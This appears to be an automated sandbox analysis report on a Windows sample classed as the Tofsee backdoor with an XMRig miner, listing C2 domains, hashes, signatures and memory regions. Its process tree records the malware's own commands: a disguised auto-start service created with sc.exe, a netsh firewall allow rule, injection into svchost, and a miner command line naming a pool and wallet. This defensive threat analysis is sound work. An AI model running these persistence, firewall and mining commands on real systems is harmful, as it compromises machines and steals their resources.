Analysis

  • max time kernel
    164s
  • max time network
    180s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2022, 17:03

General

  • Target
    file.exe
  • Size 224KB
  • Sample221022-vknwmsedbl
  • SHA256 0c6f7d24565e4c82b257946bedf7d710251a34d29704c7878ca22447d8368cbc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dzbaapcs\
      2⤵
        PID:1268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kqdyrylg.exe" C:\Windows\SysWOW64\dzbaapcs\
        2⤵
          PID:3344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dzbaapcs binPath= "C:\Windows\SysWOW64\dzbaapcs\kqdyrylg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dzbaapcs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dzbaapcs
          2⤵
          • Launches sc.exe
          PID:4140
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2628 -s 1040
          2⤵
          • Program crash
          PID:3912
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2628 -ip 2628
        1⤵
          PID:2772
        • C:\Windows\SysWOW64\dzbaapcs\kqdyrylg.exe
          C:\Windows\SysWOW64\dzbaapcs\kqdyrylg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:992
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3948
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2200
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 992 -s 532
            2⤵
            • Program crash
            PID:2500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 992 -ip 992
          1⤵
            PID:924

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                kqdyrylg.exe

                • Path C:\Users\Admin\AppData\Local\Temp\kqdyrylg.exe
                • Size 12.4MB
                • SHA256 3a68b6b24ae5a10f60b8b5de63c917bcadd0fa64461be03db66a6eee83a8dd2e
                • MD5 SHA1 SHA512 SSDEEP

                kqdyrylg.exe

                • Path C:\Windows\SysWOW64\dzbaapcs\kqdyrylg.exe
                • Size 12.4MB
                • SHA256 3a68b6b24ae5a10f60b8b5de63c917bcadd0fa64461be03db66a6eee83a8dd2e
                • MD5 SHA1 SHA512 SSDEEP

                memory/992-153-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/992-152-0x0000000002CDE000-0x0000000002CF3000-memory.dmp

                memory/2200-175-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/2200-180-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/2628-132-0x0000000002DF3000-0x0000000002E09000-memory.dmp

                memory/2628-137-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2628-136-0x0000000002DA0000-0x0000000002DB3000-memory.dmp

                memory/2628-135-0x0000000002DF3000-0x0000000002E09000-memory.dmp

                memory/2628-134-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2628-146-0x0000000002DF3000-0x0000000002E09000-memory.dmp

                memory/2628-147-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2628-133-0x0000000002DA0000-0x0000000002DB3000-memory.dmp

                memory/3948-149-0x00000000010C0000-0x00000000010D5000-memory.dmp

                memory/3948-154-0x00000000010C0000-0x00000000010D5000-memory.dmp

                memory/3948-155-0x00000000010C0000-0x00000000010D5000-memory.dmp

                memory/3948-156-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/3948-159-0x00000000023F0000-0x00000000023F6000-memory.dmp

                memory/3948-162-0x0000000002F50000-0x0000000002F60000-memory.dmp

                memory/3948-165-0x00000000031E0000-0x00000000031E5000-memory.dmp

                memory/3948-168-0x0000000007C40000-0x000000000804B000-memory.dmp

                memory/3948-171-0x00000000031F0000-0x00000000031F7000-memory.dmp